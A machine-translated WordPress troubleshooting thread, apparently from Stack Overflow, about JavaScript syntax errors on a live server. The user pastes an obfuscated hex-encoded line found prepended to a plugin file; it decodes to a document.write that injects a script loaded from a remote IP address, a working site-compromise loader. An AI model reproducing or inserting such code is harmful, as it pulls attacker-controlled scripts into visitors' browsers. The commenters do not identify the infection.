所有在localhost中正常工作,但在活動服務器中,突然之間,我得到了上面提到的每個單個js文件的錯誤。SyntaxError:missing;在wordpress中聲明錯誤之前
我註釋了wp_enqueue_scripts
在functions.php
,看看錯誤是否消失,但它仍然存在。
還在下面的行中添加了字符串concatnation可能導致它。
//prevent javascript concat
define('CONCATENATE_SCRIPTS', false);
我找不出什麼可能會導致此問題。請建議我。我可以提供我的網站的測試權限。
編輯:
我打開與錯誤的話控制檯中顯示我的插件文件之一。在實際代碼開始之前注意到奇怪的字符串。我懷疑這可能是問題所在。
這是某種前綴的wordpress或從別處不需要的字符串?
var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]))jQuery(document).ready(function() {
var meta_image_frame;
var meta_mobileimage_frame;
// Runs when the image button is clicked.
jQuery('#banner_manager_image_button').click(function(e){
....plugins js code-----
});
});
檢查您的文件是否已正確移至服務器。也許你有一些額外的字符?像'\ r \ n'替換爲'\ r',並且所有註釋都被破壞了。 – Justinas
你可能想看看你的javascript文件,看看問題出在哪裏。如果有錯誤的行號,甚至更好。 – aynber
@aynber,我剛剛從控制檯中選擇了一個js文件。我在我的帖子上面添加了我的發現。看看你是否可以建議 – 112233